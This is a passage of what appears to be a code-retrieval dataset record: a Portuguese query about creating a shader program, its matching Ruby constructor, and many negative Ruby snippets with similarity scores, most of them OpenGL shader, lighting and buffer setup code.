@clients[name]\n end", "def resident_key; end", "def get_node_id_by_name(name, keyname, secret)\n\tget_node_cmd = \"#{node[:zendserver][:zsmanage]} cluster-list-servers -N #{keyname} -K #{secret} -U http://#{node[:hostname]}:10081/ZendServer/\"\n\tp = shell_out(get_node_cmd)\n\tp.stdout.split(/\\n/).grep(/#{name}/)[0].split(/\\t/)[0]\nend", "def users_favorite_jokes(user)\n user.jokes.each do |joke|\n puts \"- #{joke.text}\"\n end\n end" ]
[ "0.6224704", "0.59733707", "0.5640795", "0.5559783", "0.55182016", "0.54919726", "0.5325014", "0.52230704", "0.52155465", "0.5209845", "0.5145834", "0.5134466", "0.51216155", "0.5080215", "0.50569725", "0.50364983", "0.50310045", "0.501427", "0.5013942", "0.50120306", "0.5005808", "0.5001424", "0.5001132", "0.5000672", "0.5000672", "0.49454474", "0.4932656", "0.49232695", "0.49044162", "0.49044162", "0.48934025", "0.48880148", "0.48684612", "0.4866735", "0.4860963", "0.4853304", "0.4831938", "0.48260775", "0.48236823", "0.48233068", "0.481844", "0.481622", "0.4808504", "0.4803282", "0.47923288", "0.47912517", "0.47876945", "0.4779158", "0.47759664", "0.47685906", "0.47615322", "0.4733769", "0.4731218", "0.47277012", "0.4723887", "0.47140017", "0.4711524", "0.47010452", "0.47010452", "0.46940428", "0.46899974", "0.46883628", "0.46690533", "0.46690533", "0.46690533", "0.4668769", "0.46664593", "0.46564764", "0.46561626", "0.46552706", "0.46435526", "0.46394724", "0.46349242", "0.46281344", "0.4626422", "0.4625771", "0.46241444", "0.46177036", "0.46052992", "0.4603531", "0.4598091", "0.45938674", "0.45938423", "0.4586866", "0.4586866", "0.4586116", "0.45832312", "0.45776764", "0.45748413", "0.45728022", "0.45698428", "0.45578018", "0.45568806", "0.4554224", "0.45485222", "0.45431554", "0.45428264", "0.454129", "0.45397335", "0.453264" ]
0.69345134
0
Construtor Cria um programa de shaders
def initialize @id = glCreateProgram @shaders = [] @linked = false end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def init_shaders(widget)\n context = widget.context\n\n if context.use_es?\n vertex_path = \"/glarea/glarea-gles.vs.glsl\"\n fragment_path = \"/glarea/glarea-gles.fs.glsl\"\n else\n vertex_path = \"/glarea/glarea-gl.vs.glsl\"\n fragment_path = \"/glarea/glarea-gl.fs.glsl\"\n end\n src_vertex = Gio::Resources.lookup_data(vertex_path, 0)\n src_fragment = Gio::Resources.lookup_data(fragment_path, 0)\n vertex = create_shader(GL_VERTEX_SHADER, src_vertex)\n return [0, nil] if vertex.zero?\n fragment = create_shader(GL_FRAGMENT_SHADER, src_fragment)\n return [0, nil] if fragment.zero?\n\n program = glCreateProgram\n glAttachShader(program, vertex)\n glAttachShader(program, fragment)\n glLinkProgram(program)\n # Check if the program is valid\n linked_buf = \" \"\n glGetProgramiv(program, GL_LINK_STATUS, linked_buf)\n status = linked_buf.unpack(\"L\")[0]\n if status.zero?\n log_len = \" \"\n glGetShaderiv(program, GL_INFO_LOG_LENGTH, log_len)\n len = log_len.unpack(\"L\")[0]\n info_log = \" \" * (len + 1)\n glGetProgramInfoLog(program, len, nil, info_log)\n STDERR.puts \"Linking failure:\\n#{info_log}\\n\"\n glDeleteProgram(program)\n glDeleteShader(vertex)\n glDeleteShader(fragment)\n program = 0\n end\n mvp = glGetUniformLocation(program, \"mvp\")\n [program, mvp]\n end", "def add_fragment_shader name\n\t\traise 'O programa já está linkado, não é possível adicionar mais shaders' if @linked\n\t\t\n\t\tfile = File.open \"shaders/#{name}.frag\"\n\t\tsource = file.read\n\t\tfile.close\n\t\t\n\t\tshader = glCreateShader GL_FRAGMENT_SHADER\n\t\tglShaderSource shader, 1, [source.cptr].pack(\"L\").cptr, 0\n\t\tglCompileShader shader\n\t\t\n\t\tinfo_log_length = [0].pack(\"L\")\n\t\tglGetShaderiv shader, GL_INFO_LOG_LENGTH, info_log_length.cptr\n\t\tinfo_log_length = info_log_length.unpack(\"L\")[0]\n\t\t\n\t\tif info_log_length > 0\n\t\t\terr = \"\\0\" * (info_log_length + 1)\n\t\t\tglGetShaderInfoLog shader, info_log_length, 0, err.cptr\n\n\t\t\tunless err.include? \"No errors\"\n\t\t\t\traise \"Falha ao compilar shader de fragmento `#{name}`: #{err}\"\n\t\t\tend\n\t\tend\n\t\t\n\t\tglAttachShader @id, shader\n\t\t\n\t\t@shaders << shader\n\tend", "def create_shader(shader_type, file_name)\n\t\tshader_id = GL20.gl_create_shader(shader_type)\n\t\tshader_file = File.new File.expand_path(\"../../glsl/#{file_name}\", __FILE__)\n\n\t\tGL20.gl_shader_source(shader_id, shader_file.read)\n\t\tGL20.gl_compile_shader(shader_id)\n\n\t\tputs file_name, GL20.gl_get_shader_info_log(shader_id, 200)\n\n\t\tshader_id\n\tend", "def create_shader(type:, source:)\n _shader = nil\n\n case type\n when :vertex\n _shader = glCreateShader(GL_VERTEX_SHADER)\n when :fragment\n _shader = glCreateShader(GL_FRAGMENT_SHADER)\n else\n raise ArgumentError, \"Unsupported shader type: #{type.inspect}\"\n end\n\n processed_source = preprocess_source(source: source)\n\n _source = [processed_source].pack(\"p\")\n _size = [processed_source.length].pack(\"I\")\n glShaderSource(_shader, 1, _source, _size)\n\n @data[:shaders][type] = _shader\n end", "def link_shaders\n @program = glCreateProgram\n @data[:shaders].values.each do |_shader|\n glAttachShader(@program, _shader)\n end\n glLinkProgram(@program)\n\n buffer = \" \"\n glGetProgramiv(@program, GL_LINK_STATUS, buffer)\n linked = buffer.unpack1(\"L\")\n\n if linked == 0\n log = \" \" * @error_buffer_size\n glGetProgramInfoLog(@program, @error_buffer_size, nil, log)\n puts \"Shader Error: Program \\\"#{@name}\\\"\"\n puts \" Program InfoLog:\", \" #{log.strip.split(\"\\n\").join(\"\\n \")}\\n\\n\"\n end\n\n @compiled = !(linked == 0)\n end", "def compile_shader(type:)\n _compiled = false\n _shader = @data[:shaders][type]\n raise ArgumentError, \"No shader for #{type.inspect}\" unless _shader\n\n glCompileShader(_shader)\n buffer = \" \"\n glGetShaderiv(_shader, GL_COMPILE_STATUS, buffer)\n compiled = buffer.unpack1(\"L\")\n\n if compiled == 0\n log = \" \" * @error_buffer_size\n glGetShaderInfoLog(_shader, @error_buffer_size, nil, log)\n puts \"Shader Error: Program \\\"#{@name}\\\"\"\n puts \" #{type.to_s.capitalize} Shader InfoLog:\", \" #{log.strip.split(\"\\n\").join(\"\\n \")}\\n\\n\"\n puts \" Shader Compiled status: #{compiled}\"\n puts \" NOTE: assignment of uniforms in shaders is illegal!\"\n puts\n else\n _compiled = true\n end\n\n _compiled\n end", "def myinit\r\n GL.ShadeModel (GL::FLAT);\r\n\r\n base = GL.GenLists(128);\r\n GL.ListBase(base);\r\n GL.NewList(base+'A'[0], GL::COMPILE); drawLetter(Adata); GL.EndList();\r\n GL.NewList(base+'E'[0], GL::COMPILE); drawLetter(Edata); GL.EndList();\r\n GL.NewList(base+'P'[0], GL::COMPILE); drawLetter(Pdata); GL.EndList();\r\n GL.NewList(base+'R'[0], GL::COMPILE); drawLetter(Rdata); GL.EndList();\r\n GL.NewList(base+'S'[0], GL::COMPILE); drawLetter(Sdata); GL.EndList();\r\n GL.NewList(base+' '[0], GL::COMPILE); GL.Translate(8.0, 0.0, 0.0); GL.EndList();\r\nend", "def glShaderSource(shader, sources)\n ary_len = (source_array = sources.kind_of?(Array)) ? sources.length : 1\n\n lengths = GL.__boxed_type__(:gl_sizei)[ary_len]\n pointers = GL.__boxed_type__(:intptr_t)[ary_len]\n\n begin\n assign_block = -> (src, index) do\n lengths[index].name = src.bytesize\n pointers[index].name = Fiddle::Pointer[src].to_i\n end\n\n if source_array\n sources.each_with_index(&assign_block)\n else\n assign_block[sources, 0]\n end\n\n glShaderSource__(shader, ary_len, pointers.address, lengths.address)\n\n ensure\n lengths.free!\n pointers.free!\n end\n\n self\n end", "def init\n GL.ClearColor(0.0, 0.1, 0.2, 0.0)\n GL.ShadeModel(GL::SMOOTH)\n\n GL.Enable(GL::LIGHTING)\n GL.Enable(GL::LIGHT0)\n GL.Enable(GL::BLEND)\n GL.Enable(GL::NORMALIZE)\n\n GL::DepthFunc(GL::LESS);\n GL::ShadeModel(GL::SMOOTH);\n GL::BlendFunc(GL::ONE, GL::ONE)\n\n lm_ambient = [ 0.2, 0.2, 0.2, 0.0 ];\n\n GL.Light(GL::LIGHT0, GL::POSITION, [4, 4, 4])\n GL.Light(GL::LIGHT0, GL::POSITION, [-2, 6, 3])\n #GL::LightModel(GL::LIGHT_MODEL_AMBIENT, lm_ambient);\n GL::LightModel(GL::LIGHT_MODEL_TWO_SIDE, 2);\n\n $ruby = RubyRuby.new\n GL::NewList($rubyList, GL::COMPILE)\n $ruby.render\n GL::EndList()\nend", "def initialize(vk, viewport: { }, scissor: { })\n @vk = vk\n @shader_stages = []\n @layouts = []\n @constant_ranges = []\n @descriptors = []\n @input = {\n topology: :triangles,\n primitive_restart: false\n }\n @viewport = {\n left: 0,\n top: 0,\n width: 640,\n height: 480,\n min_depth: 0,\n max_depth: 1\n }.merge(viewport)\n @scissor = {\n left: 0,\n top: 0,\n width: 0xffffffff,\n height: 0xffffffff\n }.merge(scissor)\n @rasterizer = {\n depth_clamp: false,\n discard_all: false,\n polygon_mode: :fill,\n line_width: 1.0,\n cull_mode: :back,\n front_face: :counter_clockwise,\n depth_bias: false,\n depth_bias_clamp: 0,\n depth_bias_constant: 0,\n depth_bias_slope: 0\n }\n @multisampling = {\n sample_shading: false,\n samples: 1,\n min_sample_shading: 0.2,\n sample_mask: nil,\n alpha_to_coverage: false,\n alpha_to_one: false\n }\n @blending = {\n enabled: true,\n color_writes: [ :red, :green, :blue, :alpha ],\n src_color: :src_alpha,\n dst_color: :one_minus_src_alpha,\n src_alpha: :one,\n dst_alpha: :zero,\n color_op: :add,\n alpha_op: :add\n }\n @binding_descriptions = []\n @attribute_descriptions = []\n @dynamic_states = []\n @specialization_constants = {}\n end", "def use\n\t\tglUseProgram @id\n\tend", "def initialize\n super(RESOLUTION[0], RESOLUTION[1], {:update_interval => UP_MS_DRAW, :fullscreen => ISFULLSCREEN})\n $program = self # global pointer to window creation object\n controls_init # prep the input controls scheme manager\n gl_version = glGetString(GL_VERSION).to_s\n gl_version = gl_version.split(' ')\n @openGL_version = Gem::Version.new(gl_version[0])\n puts(\"Using OpenGL version: #{@openGL_version} On a #{gl_version[1]} Driver Version: #{gl_version[2]}\")\n puts(\"*\" * 70)\n @@active_state = Map.new( { :level => \"\" } )\n end", "def init\n mat_specular = [ 1.0, 1.0, 1.0, 1.0 ];\n light_position = [ 1.0, 1.0, 1.0, 0.0 ];\n\n GL.ClearColor(0.0, 0.0, 0.0, 0.0);\n GL.ShadeModel(GL::SMOOTH);\n GL.Enable(GL::DEPTH_TEST);\n GL.Material(GL::FRONT, GL::DIFFUSE, $diffuseMaterial);\n GL.Material(GL::FRONT, GL::SPECULAR, mat_specular);\n GL.Material(GL::FRONT, GL::SHININESS, 25.0);\n GL.Light(GL::LIGHT0, GL::POSITION, light_position);\n GL.Enable(GL::LIGHTING);\n GL.Enable(GL::LIGHT0);\n\n GL.ColorMaterial(GL::FRONT, GL::DIFFUSE);\n GL.Enable(GL::COLOR_MATERIAL);\nend", "def stop\n Shader.active_shader = nil if Shader.active_shader == self\n glUseProgram(0)\n end", "def setup\n OpenGL.reset_flags\n end", "def create\n @batch = com.badlogic.gdx.graphics.g2d.SpriteBatch.new\n @font = com.badlogic.gdx.graphics.g2d.BitmapFont.new\n @shape = com.badlogic.gdx.graphics.glutils.ShapeRenderer.new\n end", "def initialize(viewport, picture)\r\n super(viewport)\r\n self.shader = Shader.create(:full_shader)\r\n @picture = picture\r\n @gif_handle = nil\r\n update\r\n end", "def init_vertex_buffers\n\t\t#vao_id = GL30.gl_gen_vertex_arrays\n\t\t#GL30.gl_bind_vertex_array(vao_id)\n\n\t\t@buffer_id = GL15.gl_gen_buffers\n\t\tGL15.gl_bind_buffer(GL15::GL_ARRAY_BUFFER, @buffer_id)\n\n\t\tfloat_buffer = BufferUtils.create_float_buffer(@vertex_positions.size)\n\t\tfloat_buffer.put(@vertex_positions.to_java(:float))\n\n\t\t#MUST FLIP THE BUFFER! THIS PUTS IT BACK TO THE BEGINNING!\n\t\tfloat_buffer.flip\n\n\t\tGL15.gl_buffer_data(GL15::GL_ARRAY_BUFFER, float_buffer, GL15::GL_STATIC_DRAW)\n\n\t\t# cleanup\n\t\tGL15.gl_bind_buffer(GL15::GL_ARRAY_BUFFER, 0)\n\t\t#GL30.gl_bind_vertex_array(0)\n\tend", "def prepareOpenGL\n\n\t\tglEnable(GL_DEPTH_TEST)\n\n\t\tglShadeModel(GL_SMOOTH)\n\t\tglEnable(GL_CULL_FACE)\n\t\tglFrontFace(GL_CCW)\n\t\tglPolygonOffset (1.0, 1.0)\n\t\n\t\tglClearColor(0.0, 0.0, 0.0, 0.0)\n\n\tend", "def generate(name, glsl, typeInfo)\n # Merge type information for all argument lists a function might\n # have.\n minParam, paramTypes = mergeParameterLists(typeInfo.parameterLists)\n\n # Assemble type annotations for the closure compile.\n paramtypestr = []\n paramstr = []\n (0...minParam).each do |i|\n paramtypestr << \" * @param {!(#{paramTypes[i].toClosure})} arg#{i}\\n * Function argument #{i}.\"\n paramstr << \"arg#{i}\"\n end\n (minParam...paramTypes.size).each do |i|\n paramtypestr << \" * @param {!(#{paramTypes[i].toClosure})=} arg#{i}\\n * Function argument #{i}.\"\n paramstr << \"arg#{i}\"\n end\n annotations = paramtypestr.join(\"\\n\")\n\n return <<EOF\n\n/**\n * Create expression for GLSL function '#{glsl}'.\n *\n#{annotations}\n * @return {!embedsl.Expression} Created expression.\n */\nembedsl.lang.#{name} = (function() {\n var cached = #{typeInfo.toEsl};\n return function(#{paramstr.join(\",\\n \")}) {\n var args = Array.prototype.slice.call(arguments);\n return new embedsl.Expression(\n embedsl.Kind.BUILTIN, cached, '#{name}', '#{glsl}', args);\n };\n})();\nEOF\nend", "def myinit\r\n position = [0.0, 3.0, 3.0, 0.0];\r\n local_view = [0.0];\r\n\r\n GL.Enable(GL::DEPTH_TEST);\r\n GL.DepthFunc(GL::LESS);\r\n\r\n GL.Light(GL::LIGHT0, GL::POSITION, position);\r\n GL.LightModel(GL::LIGHT_MODEL_LOCAL_VIEWER, local_view);\r\n\r\n GL.FrontFace(GL::CW);\r\n GL.Enable(GL::LIGHTING);\r\n GL.Enable(GL::LIGHT0);\r\n GL.Enable(GL::AUTO_NORMAL);\r\n GL.Enable(GL::NORMALIZE);\r\n GL.Enable(GL::FOG);\r\n fogColor = [0.5, 0.5, 0.5, 1.0];\r\n\r\n fogMode = GL::EXP;\r\n GL.Fog(GL::FOG_MODE, fogMode);\r\n GL.Fog(GL::FOG_COLOR, fogColor);\r\n GL.Fog(GL::FOG_DENSITY, 0.35);\r\n GL.Hint(GL::FOG_HINT, GL::DONT_CARE);\r\n GL.ClearColor(0.5, 0.5, 0.5, 1.0);\r\nend", "def glsl_version\n OpenGL.glsl_version\n end", "def initialize(width = 800, height = 600)\n\t\t@width = width\n\t\t@height = height\n\t\tSDL.init SDL::INIT_VIDEO\n\t\t@screen = SDL::set_video_mode @width, @height, 24, SDL::SWSURFACE\n\t\t@color_bg = @screen.format.mapRGB 240, 240, 240\n\t\t@color_fg = @screen.format.mapRGB 0, 0, 0\n\t\tclear\n\tend", "def initialize(ptr, retain = true)\n super(ptr)\n OpenCL.clRetainProgram(ptr) if retain\n #STDERR.puts \"Allocating Program: #{ptr}\"\n end", "def init_with_program(prog); end", "def initialize\r\n\t\t$state=self\r\n\t\treset\r\n @removed=[]\r\n @lights=[]\r\n @camera=Camera.new($screen.width/2,$screen.height/2) #default camera ; variable can't be empty\r\n @dark=Ashton::WindowBuffer.new\r\n \r\n $enable_gui=true #enable using GUI\r\n \r\n @window=GUI::Window.new(0,0,160,240,\"Properites\",#create window, below are objects\r\n [:text,\"Type\",0,0],#the :text is one of customisations, it just shows text\r\n [:text,\"X position\",0,50],\r\n [:text,\"Y position\",0,100],\r\n [:text,\"Scale\",0,150],\r\n [:text,\"Red\",0,205],\r\n [:object,:type,GUI::Dropdown.new(20,25,\"Square\",\"Circle\",\"Triangle\")],#to make another GUI element into window, use :object, give it name and the last thing is this object. Object's position will be relative to GUI window, not absolute.\r\n [:object,:pos_x,GUI::Number.new(20,75,0,640)],\r\n [:object,:pos_y,GUI::Number.new(20,125,0,480)],\r\n [:object,:scale,GUI::Zip.new(20,190,30,4)],\r\n [:object,:red,GUI::Check.new(40,205)]\r\n )\r\n @window.disabled=true #make window invisible\r\n \r\n @new=GUI::Button.new(0,456,\"Add shape\") #make a maker-button\r\n end", "def initialize(args)\n\n # Keep a handy reference to the args\n @args = args\n\n # On startup we're not running\n @args.state.vertices.running = false\n\n # Set some basic game parameters\n @args.state.vertices.play_ticks ||= 20.seconds\n @args.state.vertices.target_shapes ||= 10\n @args.state.vertices.polygons ||= []\n @polygons = []\n @stars = []\n\n # Need an audio handler\n @audio_handler = Ahnlak::ClassAudio.new\n @audio_handler.play('vertices/sounds/title.ogg')\n\n # Initialise some other bits - again, set some defaults\n @prompt = []\n @prompt << TintedLabel.new(\n visible: true,\n x: @args.grid.center_x, y: 400,\n alignment_enum: 1, size_enum: 15,\n text: 'Click on the shape with the fewest edges',\n font: 'vertices/fonts/Kenney Future Square.ttf'\n )\n @prompt << TintedLabel.new(\n visible: true,\n x: @args.grid.center_x, y: 325,\n alignment_enum: 1, size_enum: 15,\n text: \"Can you clear #{@args.state.vertices.target_shapes} shapes in time?!\",\n font: 'vertices/fonts/Kenney Future Square.ttf'\n )\n @prompt.each do |prompt|\n prompt.colourable_cycle(\n [\n [255, 255, 255, 255],\n [100, 255, 100, 255],\n [255, 100, 255, 255]\n ],\n 30\n )\n end\n @counter = Counter.new(args)\n\n # And load up our sprites\n load_sprites\n\n # The system icons are static\n args.outputs.static_sprites << @audio_sprite\n args.outputs.static_sprites << @music_sprite\n\n end", "def initialize(name, owner, language)\r\n super(name, owner)\r\n self.language = language\r\n @prog = nil\r\n end", "def myinit\r\n fogColor = [0.0, 0.0, 0.0, 1.0];\r\n\r\n GL.Enable(GL::FOG);\r\n GL.Fog(GL::FOG_MODE, GL::LINEAR);\r\n GL.Hint(GL::FOG_HINT, GL::NICEST); #/* per pixel */\r\n GL.Fog(GL::FOG_START, 3.0);\r\n GL.Fog(GL::FOG_END, 5.0);\r\n GL.Fog(GL::FOG_COLOR, fogColor);\r\n GL.ClearColor(0.0, 0.0, 0.0, 1.0);\r\n\r\n GL.DepthFunc(GL::LESS);\r\n GL.Enable(GL::DEPTH_TEST);\r\n GL.ShadeModel(GL::FLAT);\r\nend", "def initialize(options = {})\n super(options)\n @obj_filename = options[:filename] || \"\"\n @texture_file = options[:texture] || @obj_filename # eventually will tie into the load module.\n @texture_debugging = TEXTURE_DEBUG || options[:debug_draw] # skip drawing texture, use defualt mat white.\n #---------------------------------------------------------\n @object_name = '' # Is there an object name provided from .obj file or one set to this Ruby Object?\n @face_count = 0 # how many faces the object has.\n @object_model = nil # container that holds onto the wavefront 3d object data.\n @texture_resource = nil # A string or array that contains the name of textures used when drawing the .obj\n # debug printing of information, time between update posts for string creation.\n @time_between_debug_prints = 0\n @hud_font = Gosu::Font.new(22) # Gosu::Font container\n @string = \"\" # container for HUD information\n # try loading a source .obj file\n success = load_obj_file() rescue nil\n if success.nil?\n # there was an issue that was reported that resulted in a fail loading.\n puts(\"issue with object loading (#{@obj_filename})\")\n puts(\"-\" * 70)\n self.destroy # mark for map clean up/ removal\n return nil\n else\n if @verbose\n puts(\"-\" * 70)\n puts(\"Initializing new OpenGL 3D object... #{self}\")\n end\n end\n # speak if asked.\n if @verbose\n puts(\"New 3D object created from: \\\"#{@object_name}.obj\\\"\")\n puts(\"-\" * 70)\n end\n #@scale = 1.0 # scale the whole object.\n end", "def initialize(params)\n\t\t@CC = params[:cc] || params[:gcc]\n\t\t@CXX = params[:cxx] || params[:gcc]\n\t\t@FCC = params[:fcc] || params[:gcc]\n\t\t@LD = params[:ld] || params[:gcc]\n\t\t@CFLAGS = params[:cflags] || []\n\t\t@CXXFLAGS = params[:cxxflags] || []\n\t\t@FFLAGS = params[:fflags] || []\n\t\t@LDFLAGS = params[:ldflags] || []\n\t\t@INCDIRS = params[:incdirs] || []\n\t\t\n\t\t#find a directory we can scratch in\n\t\t@tmpdir = BuildEnv::buildTreeRoot().join('tmp');\n\t\t`mkdir -p #{@tmpdir}`;\n\tend", "def InitGL(width, height) # We call this right after our OpenGL window \n # is created.\n\n GL.ClearColor(0.0, 0.0, 0.0, 0.0) # This Will Clear The Background \n # Color To Black\n GL.ClearDepth(1.0) # Enables Clearing Of The Depth Buffer\n GL.DepthFunc(GL::LESS) # The Type Of Depth Test To Do\n GL.Enable(GL::DEPTH_TEST) # Enables Depth Testing\n GL.ShadeModel(GL::SMOOTH) # Enables Smooth Color Shading\n GL.MatrixMode(GL::PROJECTION)\n GL.LoadIdentity() # Reset The Projection Matrix\n GLU.Perspective(45.0,Float(width)/Float(height),0.1,100.0) # Calculate The Aspect Ratio \n # Of The Window\n GL.MatrixMode(GL::MODELVIEW)\nend", "def shader_files_exist?(vertex:, fragment:)\n File.exist?(vertex) && File.exist?(fragment)\n end", "def initialize (material,size)\r\n\t\t@material = material\r\n\t\t@size = size\r\n\t\t#se inicializa tanto el material como el size\r\n\tend", "def initialize(v0, v1, v2, v3, color, transmit = nil)\n super(v0, v1, v2, v3)\n @color = color\n @transmit = transmit\n end", "def initialize(make, model, year, color)\n\t\tsuper(make,model,year) #effectively does the below. similar to Parent.call(vars) in js\n\t\t# @make = make \n\t\t# @model = model\n\t\t# @year = year\n\t\t@color = color\n\tend", "def InitGL(width, height) # We call this right after our OpenGL window \n return false unless load_gl_textures() # If Texture Didn't Load Return FALSE \n glEnable(GL_TEXTURE_2D)\t\t\t\t\t\t\t# Enable Texture Mapping\n glShadeModel(GL_SMOOTH)\t\t\t\t\t\t\t# Enable Smooth Shading\n glClearColor(0.0, 0.0, 0.0, 0.5)\t\t\t\t# Black Background\n glClearDepth(1.0)\t\t\t\t\t\t\t\t\t# Depth Buer Setup\n glEnable(GL_DEPTH_TEST)\t\t\t\t\t\t\t# Enables Depth Testing\n glDepthFunc(GL_LEQUAL)\t\t\t\t\t\t\t\t# The Type Of Depth Testing To Do\n glHint(GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST)\t# Really Nice Perspective Calculations\n\n glLightfv(GL_LIGHT1, GL_AMBIENT, $LightAmbient)\t\t# Setup The Ambient Light\n glLightfv(GL_LIGHT1, GL_DIFFUSE, $LightDiffuse)\t\t# Setup The Diffuse Light\n glLightfv(GL_LIGHT1, GL_POSITION,$LightPosition)\t# Position The Light\n glEnable(GL_LIGHT1)\t\t\t\t\t\t\t\t# Enable Light One\n glColor4f(1.0, 1.0, 1.0, 0.5) # Full Brightness 50% alpha\n glBlendFunc(GL_SRC_ALPHA,GL_ONE)\n return true # Initialization Went OK\nend", "def initialize(**args)\n @position = Position.new(args.fetch(:x, 0), args.fetch(:y, 0), args.fetch(:z, 0))\n @velocity = Velocity.new(args.fetch(:vx, 0), args.fetch(:vy, 0), args.fetch(:vz, 0))\n @acceleration = Acceleration.new(args.fetch(:ax, 0), args.fetch(:ay, 0), args.fetch(:az, 0))\n @foresight = args.fetch(:foresight, [1, 0, 0.5, 0.5, 0, 0])\n @color = args[:color]\n @color ||= '#1199bb'\n end", "def initialize(color, brand) # .new -> .intialize\n # instance variable -> stores info inside instance\n @color = color\n @brand = brand\n @engine_started = false\n end", "def initialize(window)\n super(window)\n @width = 1\n @height = 1\n rebuild_vertices\n end", "def initialize(nombre, proteinas, glucidos, lipidos)\n\t\t\t@nombre = nombre\n\t\t\t@proteinas = proteinas\n\t\t\t@glucidos = glucidos\n\t\t\t@lipidos = lipidos\n\t\tend", "def start_vertex_normal\n end", "def initialize (nombre, saturadas, monoinsaturadas, polinsaturadas, azucares, polialcoles, almidon, fibra, proteinas, sal)\n\t\t@nombre, @saturadas, @monoinsaturadas, @polinsaturadas, @azucares, @polialcoles, @almidon, @fibra, @proteinas, @sal = nombre, saturadas, monoinsaturadas, polinsaturadas, azucares, polialcoles, almidon, fibra, proteinas, sal\n\tend", "def create_window(w, h)\n GLFW.window_hint GLFW::RESIZABLE, GL2::GL_FALSE\n GLFW.window_hint GLFW::CONTEXT_VERSION_MAJOR, 3\n GLFW.window_hint GLFW::CONTEXT_VERSION_MINOR, 3\n GLFW.window_hint GLFW::OPENGL_FORWARD_COMPAT, GL2::GL_TRUE # for 3.0\n GLFW.window_hint GLFW::OPENGL_PROFILE, GLFW::OPENGL_CORE_PROFILE # for 3.0 and on\n Moon::Shader.is_legacy = false\n\n title = 'Moon Player'\n begin\n @window = GLFW::Window.new w, h, title\n rescue GLFWError\n GLFW.default_window_hints\n GLFW.window_hint GLFW::CONTEXT_VERSION_MAJOR, 2\n GLFW.window_hint GLFW::CONTEXT_VERSION_MINOR, 1\n Moon::Shader.is_legacy = true\n\n @window = GLFW::Window.new w, h, title\n end\n end", "def initialize(buffer_target, buffer_usage = GL::STREAM_DRAW, element_count = 0, element_size = Fiddle::SIZEOF_FLOAT)\r\n @element_count = element_count\r\n @element_size = element_size\r\n @buffer_target = buffer_target\r\n\r\n buf = Fiddle::Pointer.malloc(Fiddle::SIZEOF_INT)\r\n GL.GenBuffers(1, buf)\r\n @buffer_id = buf[0, Fiddle::SIZEOF_INT].unpack1('L')\r\n\r\n GL.BindBuffer(@buffer_target, @buffer_id)\r\n GL.BufferData(@buffer_target, @element_count * @element_size, NullPtr, buffer_usage)\r\n GL.BindBuffer(@buffer_target, 0)\r\n end", "def initialize(name, include_blocks = false)\n @name = name\n @executable = BASE_DIRECTORY + \"benchmark_\" + name\n @duration = DURATION\n @input_size = INPUT_SIZE\n @device = CUDA_DEVICE\n @include_blocks = include_blocks\n end", "def setup\n blank_metro = ''\n @vertex = Vertex.new(blank_metro)\n end", "def initialize(nombre,gei,terreno,proteinas,lipidos,glucidos)\n @nombre, @gei, @terreno, @proteinas, @lipidos, @glucidos = nombre, gei, terreno, proteinas, lipidos, glucidos\n end", "def flamegraph_mode=(_arg0); end", "def initialize\n @commandList = Array.new()\n @db = Sequel.sqlite\n @db.create_table :materials do # Create a new table\n primary_key :id, :integer, :auto_increment => true\n column :command_name, :text\n column :name, :text\n column :type, :text\n column :thickness, :float\n column :conductivity, :float\n column :resistance, :float\n column :density, :float\n column :spec_heat, :float\n end\n @materials = @db[:materials] # Create a dataset\n\n @db.create_table :layers do # Create a new table\n primary_key :id, :integer, :auto_increment => true\n column :command_name, :text\n column :name, :text\n column :material, :text\n column :inside_film_res, :float\n end\n @layers = @db[:layers] # Create a dataset\n\n\n store_material()\n end", "def new\n @programa = Programa.new\n end", "def initialize(scene)\n super(800,600, false)\n self.caption = \"Ruby Ren'ai Game Engine\"\n @hidden = false\n @script = Script.new(self)\n @graphics = Graphics.new(self)\n @clickables = Array.new\n @music = Music.new(self)\n @scriptreader = ScriptReader.new(self, scene || \"mainmenu\")\n @time = Gosu::milliseconds\n advance\n end", "def setup\n self.parse() # load file\n puts(\"+Constructing a total of (#{@groups.keys.size}) Groups:\") if @verbose\n @groups.each_value do |grp|\n grp.displaylist = glGenLists( 1 )\n glNewList(grp.displaylist, GL_COMPILE )\n puts(\" * \\\"#{grp.name}\\\" : Faces(#{grp.faces.size}) openGL draw list cached.\") if @verbose\n grp.gl_draw_list(self) # create precahced draw operation\n glEndList()\n end\n puts(\"+Total Count of Faces: [ #{self.get_face_count} ]\") if @verbose\n # display materials information\n puts(\"+Material Lib: \\\"#{material_lib}\\\" with (#{@current_materials.size}) Name Refrences.\") if @verbose\n end", "def initialize(red, green, blue, alpha = 1.0); end", "def initialize\n @program_start_pointer = 0\n init_name\n init_clock\n init_register\n init_ports\n end", "def initialize programa\n\t\t@tk = []\n\t\t@error = []\n\t\t@parserTk = []\n\t\tlexer(programa)\n\tend", "def InitGL(width, height)\n # Load the textures\n LoadGLTextures()\n\n # Enable Texture mapping\n glEnable(GL_TEXTURE_2D)\n\n # Clear the background to black\n glClearColor(0.0, 0.0, 0.0, 0.0)\n\n # Enable clearing of the depth buffer\n glClearDepth(1.0)\n\n # Enable smoothing and color shading\n glShadeModel(GL_SMOOTH)\n\n # Reset the Projection Matrix\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n\n # Calculate the aspect ratio of the window\n gluPerspective(45.0,Float(width)/Float(height),0.1,100.0)\n\n # Reset back to the model Matrix\n glMatrixMode(GL_MODELVIEW)\n\t \n if HEXAGON_TILE\n\tPregenerate_Hexagon() \n end\nend", "def ident; glLoadIdentity; end", "def generate(name, symbol, typeInfo)\n ptl = typeInfo.parameterLists[0]\n return <<EOF\n\n/**\n * Create expression for GLSL operator '#{symbol}'.\n *\n#{ptl.toClosureAnnotation}\n * @return {!embedsl.Expression} Created expression.\n */\nembedsl.lang.#{name} = (function() {\n var cached = #{typeInfo.toEsl};\n return function(#{ptl.toParameterList}) {\n var args = Array.prototype.slice.call(arguments);\n return new embedsl.Expression(\n embedsl.Kind.OPERATOR, cached, '#{name}', '#{symbol}', args);\n };\n})();\nEOF\nend", "def initialize(r,g,b,a = \"FFFF\", name = nil)\n @red = r.length == 2 ? r : r[0..1]\n @green = g.length == 2 ? g : g[0..1]\n @blue = b.length == 2 ? b : b[0..1]\n @alpha = a.length == 2 ? a : a[0..1]\n @rgba = [@red,@green,@blue,@alpha]\n @xyz = rgb_to_xyz\n @lab = xyz_to_lab\n @name = name\n end", "def InitGL(width, height)\n # Clear the background to black\n glClearColor(0.0, 0.0, 0.0, 